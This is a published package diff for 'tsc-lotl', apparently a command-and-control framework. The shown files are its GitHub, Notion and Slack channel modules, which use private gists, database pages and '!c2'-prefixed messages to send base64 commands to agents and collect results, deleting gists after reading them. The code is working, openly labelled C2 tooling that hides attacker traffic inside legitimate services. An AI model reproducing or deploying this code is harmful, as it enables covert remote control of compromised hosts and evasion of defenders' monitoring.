tsc-lotl 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bin/tsc-lotl.js +226 -0
- package/package.json +14 -0
- package/src/channels/discord.js +164 -0
- package/src/channels/gdrive.js +272 -0
- package/src/channels/github.js +172 -0
- package/src/channels/notion.js +151 -0
- package/src/channels/slack.js +185 -0
- package/src/lotl-c2.js +261 -0
- package/tsc-lotl-config.json +35 -0
|
@@ -0,0 +1,172 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
|
|
3
|
+
class GitHub {
|
|
4
|
+
constructor(config) {
|
|
5
|
+
this.token = config.token;
|
|
6
|
+
this.gistPrefix = config.gistPrefix || 'tsc-lotl-cmd-';
|
|
7
|
+
this.apiBase = 'api.github.com';
|
|
8
|
+
}
|
|
9
|
+
|
|
10
|
+
_request(method, path, body) {
|
|
11
|
+
return new Promise((resolve, reject) => {
|
|
12
|
+
const opts = {
|
|
13
|
+
hostname: this.apiBase,
|
|
14
|
+
path,
|
|
15
|
+
method,
|
|
16
|
+
headers: {
|
|
17
|
+
'Authorization': `Bearer ${this.token}`,
|
|
18
|
+
'Content-Type': 'application/json',
|
|
19
|
+
'User-Agent': 'tsc-lotl-c2'
|
|
20
|
+
}
|
|
21
|
+
};
|
|
22
|
+
|
|
23
|
+
const req = https.request(opts, (res) => {
|
|
24
|
+
let data = '';
|
|
25
|
+
res.on('data', chunk => data += chunk);
|
|
26
|
+
res.on('end', () => {
|
|
27
|
+
try {
|
|
28
|
+
const parsed = JSON.parse(data);
|
|
29
|
+
if (res.statusCode >= 200 && res.statusCode < 300) {
|
|
30
|
+
resolve(parsed);
|
|
31
|
+
} else {
|
|
32
|
+
reject(new Error(`GitHub API error ${res.statusCode}: ${JSON.stringify(parsed)}`));
|
|
33
|
+
}
|
|
34
|
+
} catch (e) {
|
|
35
|
+
reject(new Error(`GitHub API error ${res.statusCode}: ${data}`));
|
|
36
|
+
}
|
|
37
|
+
});
|
|
38
|
+
});
|
|
39
|
+
|
|
40
|
+
req.on('error', reject);
|
|
41
|
+
if (body) req.write(JSON.stringify(body));
|
|
42
|
+
req.end();
|
|
43
|
+
});
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
async sendCommand(agentId, b64Payload) {
|
|
47
|
+
const filename = `${this.gistPrefix}${agentId}.json`;
|
|
48
|
+
const description = `C2 command for ${agentId} | ${Date.now()}`;
|
|
49
|
+
|
|
50
|
+
const gist = {
|
|
51
|
+
description,
|
|
52
|
+
public: false,
|
|
53
|
+
files: {
|
|
54
|
+
[filename]: {
|
|
55
|
+
content: JSON.stringify({
|
|
56
|
+
agentId,
|
|
57
|
+
command: b64Payload,
|
|
58
|
+
timestamp: new Date().toISOString()
|
|
59
|
+
})
|
|
60
|
+
}
|
|
61
|
+
}
|
|
62
|
+
};
|
|
63
|
+
|
|
64
|
+
const result = await this._request('POST', '/gists', gist);
|
|
65
|
+
return { id: result.id, url: result.html_url };
|
|
66
|
+
}
|
|
67
|
+
|
|
68
|
+
async pollCommands(agentId) {
|
|
69
|
+
const gists = await this._request('GET', `/gists?per_page=100`);
|
|
70
|
+
|
|
71
|
+
const matching = gists.filter(g =>
|
|
72
|
+
g.files &&
|
|
73
|
+
Object.keys(g.files).some(f => f.startsWith(this.gistPrefix + agentId))
|
|
74
|
+
);
|
|
75
|
+
|
|
76
|
+
const results = [];
|
|
77
|
+
for (const gist of matching) {
|
|
78
|
+
try {
|
|
79
|
+
const gistDetail = await this._request('GET', `/gists/${gist.id}`);
|
|
80
|
+
|
|
81
|
+
const fileKey = Object.keys(gistDetail.files).find(f =>
|
|
82
|
+
f.startsWith(this.gistPrefix + agentId)
|
|
83
|
+
);
|
|
84
|
+
if (!fileKey) continue;
|
|
85
|
+
|
|
86
|
+
const raw = gistDetail.files[fileKey].content;
|
|
87
|
+
const parsed = JSON.parse(raw);
|
|
88
|
+
|
|
89
|
+
results.push({
|
|
90
|
+
id: gist.id,
|
|
91
|
+
agentId: parsed.agentId,
|
|
92
|
+
command: parsed.command,
|
|
93
|
+
timestamp: parsed.timestamp
|
|
94
|
+
});
|
|
95
|
+
|
|
96
|
+
await this._request('DELETE', `/gists/${gist.id}`);
|
|
97
|
+
} catch (e) {
|
|
98
|
+
// skip
|
|
99
|
+
}
|
|
100
|
+
}
|
|
101
|
+
return results;
|
|
102
|
+
}
|
|
103
|
+
|
|
104
|
+
async sendResult(agentId, b64Payload) {
|
|
105
|
+
const filename = `${this.gistPrefix}result_${agentId}.json`;
|
|
106
|
+
const description = `C2 result for ${agentId} | ${Date.now()}`;
|
|
107
|
+
|
|
108
|
+
const gist = {
|
|
109
|
+
description,
|
|
110
|
+
public: false,
|
|
111
|
+
files: {
|
|
112
|
+
[filename]: {
|
|
113
|
+
content: JSON.stringify({
|
|
114
|
+
agentId,
|
|
115
|
+
result: b64Payload,
|
|
116
|
+
timestamp: new Date().toISOString()
|
|
117
|
+
})
|
|
118
|
+
}
|
|
119
|
+
}
|
|
120
|
+
};
|
|
121
|
+
|
|
122
|
+
const result = await this._request('POST', '/gists', gist);
|
|
123
|
+
return { id: result.id, url: result.html_url };
|
|
124
|
+
}
|
|
125
|
+
|
|
126
|
+
async pollResults(agentId) {
|
|
127
|
+
try {
|
|
128
|
+
const gists = await this._request('GET', `/gists?per_page=100`);
|
|
129
|
+
const prefix = `${this.gistPrefix}result_${agentId}`;
|
|
130
|
+
|
|
131
|
+
const matching = gists.filter(g =>
|
|
132
|
+
g.files &&
|
|
133
|
+
Object.keys(g.files).some(f => f.startsWith(prefix))
|
|
134
|
+
);
|
|
135
|
+
|
|
136
|
+
const results = [];
|
|
137
|
+
for (const gist of matching) {
|
|
138
|
+
try {
|
|
139
|
+
const gistDetail = await this._request('GET', `/gists/${gist.id}`);
|
|
140
|
+
const fileKey = Object.keys(gistDetail.files).find(f => f.startsWith(prefix));
|
|
141
|
+
if (!fileKey) continue;
|
|
142
|
+
|
|
143
|
+
const raw = gistDetail.files[fileKey].content;
|
|
144
|
+
const parsed = JSON.parse(raw);
|
|
145
|
+
results.push({
|
|
146
|
+
id: gist.id,
|
|
147
|
+
agentId: parsed.agentId,
|
|
148
|
+
result: parsed.result,
|
|
149
|
+
timestamp: parsed.timestamp
|
|
150
|
+
});
|
|
151
|
+
await this._request('DELETE', `/gists/${gist.id}`);
|
|
152
|
+
} catch (e) {
|
|
153
|
+
// skip
|
|
154
|
+
}
|
|
155
|
+
}
|
|
156
|
+
return results;
|
|
157
|
+
} catch (e) {
|
|
158
|
+
return [];
|
|
159
|
+
}
|
|
160
|
+
}
|
|
161
|
+
|
|
162
|
+
async test() {
|
|
163
|
+
try {
|
|
164
|
+
const user = await this._request('GET', '/user');
|
|
165
|
+
return !!user.login;
|
|
166
|
+
} catch {
|
|
167
|
+
return false;
|
|
168
|
+
}
|
|
169
|
+
}
|
|
170
|
+
}
|
|
171
|
+
|
|
172
|
+
module.exports = GitHub;
|
|
@@ -0,0 +1,151 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
|
|
3
|
+
class Notion {
|
|
4
|
+
constructor(config) {
|
|
5
|
+
this.apiKey = config.apiKey;
|
|
6
|
+
this.databaseId = config.databaseId;
|
|
7
|
+
this.apiBase = 'api.notion.com';
|
|
8
|
+
this.apiVersion = '2022-06-28';
|
|
9
|
+
}
|
|
10
|
+
|
|
11
|
+
_request(method, path, body) {
|
|
12
|
+
return new Promise((resolve, reject) => {
|
|
13
|
+
const opts = {
|
|
14
|
+
hostname: this.apiBase,
|
|
15
|
+
path,
|
|
16
|
+
method,
|
|
17
|
+
headers: {
|
|
18
|
+
'Authorization': `Bearer ${this.apiKey}`,
|
|
19
|
+
'Content-Type': 'application/json',
|
|
20
|
+
'Notion-Version': this.apiVersion
|
|
21
|
+
}
|
|
22
|
+
};
|
|
23
|
+
|
|
24
|
+
const req = https.request(opts, (res) => {
|
|
25
|
+
let data = '';
|
|
26
|
+
res.on('data', chunk => data += chunk);
|
|
27
|
+
res.on('end', () => {
|
|
28
|
+
try {
|
|
29
|
+
const parsed = JSON.parse(data);
|
|
30
|
+
if (res.statusCode >= 200 && res.statusCode < 300) {
|
|
31
|
+
resolve(parsed);
|
|
32
|
+
} else {
|
|
33
|
+
reject(new Error(`Notion API error ${res.statusCode}: ${JSON.stringify(parsed)}`));
|
|
34
|
+
}
|
|
35
|
+
} catch (e) {
|
|
36
|
+
reject(new Error(`Notion API error ${res.statusCode}: ${data}`));
|
|
37
|
+
}
|
|
38
|
+
});
|
|
39
|
+
});
|
|
40
|
+
|
|
41
|
+
req.on('error', reject);
|
|
42
|
+
if (body) req.write(JSON.stringify(body));
|
|
43
|
+
req.end();
|
|
44
|
+
});
|
|
45
|
+
}
|
|
46
|
+
|
|
47
|
+
async sendCommand(agentId, b64Payload) {
|
|
48
|
+
const now = new Date().toISOString();
|
|
49
|
+
const body = {
|
|
50
|
+
parent: { database_id: this.databaseId },
|
|
51
|
+
properties: {
|
|
52
|
+
'agent_id': {
|
|
53
|
+
title: [{ text: { content: agentId } }]
|
|
54
|
+
},
|
|
55
|
+
'command': {
|
|
56
|
+
rich_text: [{ text: { content: b64Payload } }]
|
|
57
|
+
},
|
|
58
|
+
'status': {
|
|
59
|
+
select: { name: 'pending' }
|
|
60
|
+
},
|
|
61
|
+
'timestamp': {
|
|
62
|
+
rich_text: [{ text: { content: now } }]
|
|
63
|
+
}
|
|
64
|
+
}
|
|
65
|
+
};
|
|
66
|
+
|
|
67
|
+
const result = await this._request('POST', '/v1/pages', body);
|
|
68
|
+
return { id: result.id };
|
|
69
|
+
}
|
|
70
|
+
|
|
71
|
+
async pollCommands(agentId) {
|
|
72
|
+
const query = {
|
|
73
|
+
filter: {
|
|
74
|
+
and: [
|
|
75
|
+
{
|
|
76
|
+
property: 'agent_id',
|
|
77
|
+
title: { equals: agentId }
|
|
78
|
+
},
|
|
79
|
+
{
|
|
80
|
+
property: 'status',
|
|
81
|
+
select: { equals: 'pending' }
|
|
82
|
+
}
|
|
83
|
+
]
|
|
84
|
+
}
|
|
85
|
+
};
|
|
86
|
+
|
|
87
|
+
const result = await this._request('POST', `/v1/databases/${this.databaseId}/query`, query);
|
|
88
|
+
|
|
89
|
+
if (!result.results || result.results.length === 0) return [];
|
|
90
|
+
|
|
91
|
+
const commands = [];
|
|
92
|
+
for (const page of result.results) {
|
|
93
|
+
const props = page.properties;
|
|
94
|
+
const command = props.command?.rich_text?.[0]?.text?.content || '';
|
|
95
|
+
const timestamp = props.timestamp?.rich_text?.[0]?.text?.content || '';
|
|
96
|
+
|
|
97
|
+
commands.push({
|
|
98
|
+
id: page.id,
|
|
99
|
+
agentId,
|
|
100
|
+
command,
|
|
101
|
+
timestamp
|
|
102
|
+
});
|
|
103
|
+
|
|
104
|
+
try {
|
|
105
|
+
await this._request('PATCH', `/v1/pages/${page.id}`, {
|
|
106
|
+
properties: {
|
|
107
|
+
'status': { select: { name: 'delivered' } }
|
|
108
|
+
}
|
|
109
|
+
});
|
|
110
|
+
} catch (e) {
|
|
111
|
+
// skip
|
|
112
|
+
}
|
|
113
|
+
}
|
|
114
|
+
return commands;
|
|
115
|
+
}
|
|
116
|
+
|
|
117
|
+
async sendResult(agentId, b64Payload) {
|
|
118
|
+
const now = new Date().toISOString();
|
|
119
|
+
const body = {
|
|
120
|
+
parent: { database_id: this.databaseId },
|
|
121
|
+
properties: {
|
|
122
|
+
'agent_id': {
|
|
123
|
+
title: [{ text: { content: `result_${agentId}` } }]
|
|
124
|
+
},
|
|
125
|
+
'command': {
|
|
126
|
+
rich_text: [{ text: { content: b64Payload } }]
|
|
127
|
+
},
|
|
128
|
+
'status': {
|
|
129
|
+
select: { name: 'completed' }
|
|
130
|
+
},
|
|
131
|
+
'timestamp': {
|
|
132
|
+
rich_text: [{ text: { content: now } }]
|
|
133
|
+
}
|
|
134
|
+
}
|
|
135
|
+
};
|
|
136
|
+
|
|
137
|
+
const result = await this._request('POST', '/v1/pages', body);
|
|
138
|
+
return { id: result.id };
|
|
139
|
+
}
|
|
140
|
+
|
|
141
|
+
async test() {
|
|
142
|
+
try {
|
|
143
|
+
await this._request('GET', `/v1/databases/${this.databaseId}`);
|
|
144
|
+
return true;
|
|
145
|
+
} catch {
|
|
146
|
+
return false;
|
|
147
|
+
}
|
|
148
|
+
}
|
|
149
|
+
}
|
|
150
|
+
|
|
151
|
+
module.exports = Notion;
|
|
@@ -0,0 +1,185 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
|
|
3
|
+
class Slack {
|
|
4
|
+
constructor(config) {
|
|
5
|
+
this.webhookUrl = config.webhookUrl;
|
|
6
|
+
this.token = config.token;
|
|
7
|
+
this.channelId = config.channelId;
|
|
8
|
+
this.commandPrefix = '!c2';
|
|
9
|
+
this._lastPollTs = '0';
|
|
10
|
+
}
|
|
11
|
+
|
|
12
|
+
_parseWebhookUrl(url) {
|
|
13
|
+
const match = url.match(/hooks\.slack\.com\/(services\/.+)/);
|
|
14
|
+
if (!match) throw new Error('Invalid Slack webhook URL');
|
|
15
|
+
return '/services/' + match[1];
|
|
16
|
+
}
|
|
17
|
+
|
|
18
|
+
_request(opts, body) {
|
|
19
|
+
return new Promise((resolve, reject) => {
|
|
20
|
+
const req = https.request(opts, (res) => {
|
|
21
|
+
let data = '';
|
|
22
|
+
res.on('data', chunk => data += chunk);
|
|
23
|
+
res.on('end', () => {
|
|
24
|
+
try {
|
|
25
|
+
const parsed = JSON.parse(data);
|
|
26
|
+
if (res.statusCode >= 200 && res.statusCode < 300) {
|
|
27
|
+
resolve(parsed);
|
|
28
|
+
} else {
|
|
29
|
+
reject(new Error(`Slack API error ${res.statusCode}: ${JSON.stringify(parsed)}`));
|
|
30
|
+
}
|
|
31
|
+
} catch (e) {
|
|
32
|
+
if (res.statusCode >= 200 && res.statusCode < 300) {
|
|
33
|
+
resolve(data);
|
|
34
|
+
} else {
|
|
35
|
+
reject(new Error(`Slack API error ${res.statusCode}: ${data}`));
|
|
36
|
+
}
|
|
37
|
+
}
|
|
38
|
+
});
|
|
39
|
+
});
|
|
40
|
+
req.on('error', reject);
|
|
41
|
+
if (body) req.write(typeof body === 'string' ? body : JSON.stringify(body));
|
|
42
|
+
req.end();
|
|
43
|
+
});
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
async sendCommand(agentId, b64Payload) {
|
|
47
|
+
if (this.webhookUrl) {
|
|
48
|
+
const urlObj = new URL(this.webhookUrl);
|
|
49
|
+
const path = urlObj.pathname;
|
|
50
|
+
|
|
51
|
+
const message = `${this.commandPrefix} ${agentId}: ${b64Payload}`;
|
|
52
|
+
const body = JSON.stringify({ text: message });
|
|
53
|
+
|
|
54
|
+
await this._request({
|
|
55
|
+
hostname: urlObj.hostname,
|
|
56
|
+
path,
|
|
57
|
+
method: 'POST',
|
|
58
|
+
headers: { 'Content-Type': 'application/json' }
|
|
59
|
+
}, body);
|
|
60
|
+
|
|
61
|
+
return { channel: 'webhook', ts: Date.now() };
|
|
62
|
+
}
|
|
63
|
+
|
|
64
|
+
if (this.token && this.channelId) {
|
|
65
|
+
const message = `${this.commandPrefix} ${agentId}: ${b64Payload}`;
|
|
66
|
+
const result = await this._request({
|
|
67
|
+
hostname: 'slack.com',
|
|
68
|
+
path: '/api/chat.postMessage',
|
|
69
|
+
method: 'POST',
|
|
70
|
+
headers: {
|
|
71
|
+
'Authorization': `Bearer ${this.token}`,
|
|
72
|
+
'Content-Type': 'application/json'
|
|
73
|
+
}
|
|
74
|
+
}, { channel: this.channelId, text: message });
|
|
75
|
+
|
|
76
|
+
return { channel: this.channelId, ts: result.ts };
|
|
77
|
+
}
|
|
78
|
+
|
|
79
|
+
throw new Error('Slack: no webhook URL or token/channel configured');
|
|
80
|
+
}
|
|
81
|
+
|
|
82
|
+
async pollCommands(agentId) {
|
|
83
|
+
if (!this.token || !this.channelId) {
|
|
84
|
+
throw new Error('Slack: token and channelId required for polling');
|
|
85
|
+
}
|
|
86
|
+
|
|
87
|
+
const result = await this._request({
|
|
88
|
+
hostname: 'slack.com',
|
|
89
|
+
path: `/api/conversations.history?channel=${this.channelId}&limit=50&oldest=${this._lastPollTs}`,
|
|
90
|
+
method: 'GET',
|
|
91
|
+
headers: {
|
|
92
|
+
'Authorization': `Bearer ${this.token}`
|
|
93
|
+
}
|
|
94
|
+
});
|
|
95
|
+
|
|
96
|
+
if (!result.ok || !result.messages) {
|
|
97
|
+
throw new Error(`Slack API error: ${result.error}`);
|
|
98
|
+
}
|
|
99
|
+
|
|
100
|
+
const commands = [];
|
|
101
|
+
const prefix = `${this.commandPrefix} ${agentId}:`;
|
|
102
|
+
|
|
103
|
+
for (const msg of result.messages) {
|
|
104
|
+
if (msg.text && msg.text.startsWith(prefix)) {
|
|
105
|
+
const b64Payload = msg.text.substring(prefix.length).trim();
|
|
106
|
+
|
|
107
|
+
commands.push({
|
|
108
|
+
id: msg.ts,
|
|
109
|
+
agentId,
|
|
110
|
+
command: b64Payload,
|
|
111
|
+
timestamp: new Date(parseFloat(msg.ts) * 1000).toISOString()
|
|
112
|
+
});
|
|
113
|
+
}
|
|
114
|
+
}
|
|
115
|
+
|
|
116
|
+
if (result.messages.length > 0) {
|
|
117
|
+
const latest = parseFloat(result.messages[0].ts);
|
|
118
|
+
this._lastPollTs = (latest + 0.0001).toString();
|
|
119
|
+
}
|
|
120
|
+
|
|
121
|
+
return commands;
|
|
122
|
+
}
|
|
123
|
+
|
|
124
|
+
async sendResult(agentId, b64Payload) {
|
|
125
|
+
if (this.webhookUrl) {
|
|
126
|
+
const urlObj = new URL(this.webhookUrl);
|
|
127
|
+
const message = `${this.commandPrefix} result ${agentId}: ${b64Payload}`;
|
|
128
|
+
await this._request({
|
|
129
|
+
hostname: urlObj.hostname,
|
|
130
|
+
path: urlObj.pathname,
|
|
131
|
+
method: 'POST',
|
|
132
|
+
headers: { 'Content-Type': 'application/json' }
|
|
133
|
+
}, JSON.stringify({ text: message }));
|
|
134
|
+
return { channel: 'webhook', ts: Date.now() };
|
|
135
|
+
}
|
|
136
|
+
|
|
137
|
+
if (this.token && this.channelId) {
|
|
138
|
+
const message = `${this.commandPrefix} result ${agentId}: ${b64Payload}`;
|
|
139
|
+
const result = await this._request({
|
|
140
|
+
hostname: 'slack.com',
|
|
141
|
+
path: '/api/chat.postMessage',
|
|
142
|
+
method: 'POST',
|
|
143
|
+
headers: {
|
|
144
|
+
'Authorization': `Bearer ${this.token}`,
|
|
145
|
+
'Content-Type': 'application/json'
|
|
146
|
+
}
|
|
147
|
+
}, { channel: this.channelId, text: message });
|
|
148
|
+
return { channel: this.channelId, ts: result.ts };
|
|
149
|
+
}
|
|
150
|
+
|
|
151
|
+
throw new Error('Slack: no webhook URL or token/channel configured');
|
|
152
|
+
}
|
|
153
|
+
|
|
154
|
+
async test() {
|
|
155
|
+
try {
|
|
156
|
+
if (this.token) {
|
|
157
|
+
const result = await this._request({
|
|
158
|
+
hostname: 'slack.com',
|
|
159
|
+
path: '/api/auth.test',
|
|
160
|
+
method: 'POST',
|
|
161
|
+
headers: {
|
|
162
|
+
'Authorization': `Bearer ${this.token}`,
|
|
163
|
+
'Content-Type': 'application/json'
|
|
164
|
+
}
|
|
165
|
+
});
|
|
166
|
+
return result.ok === true;
|
|
167
|
+
}
|
|
168
|
+
if (this.webhookUrl) {
|
|
169
|
+
const urlObj = new URL(this.webhookUrl);
|
|
170
|
+
await this._request({
|
|
171
|
+
hostname: urlObj.hostname,
|
|
172
|
+
path: urlObj.pathname,
|
|
173
|
+
method: 'POST',
|
|
174
|
+
headers: { 'Content-Type': 'application/json' }
|
|
175
|
+
}, JSON.stringify({ text: 'tsc-lotl test' }));
|
|
176
|
+
return true;
|
|
177
|
+
}
|
|
178
|
+
return false;
|
|
179
|
+
} catch {
|
|
180
|
+
return false;
|
|
181
|
+
}
|
|
182
|
+
}
|
|
183
|
+
}
|
|
184
|
+
|
|
185
|
+
module.exports = Slack;
|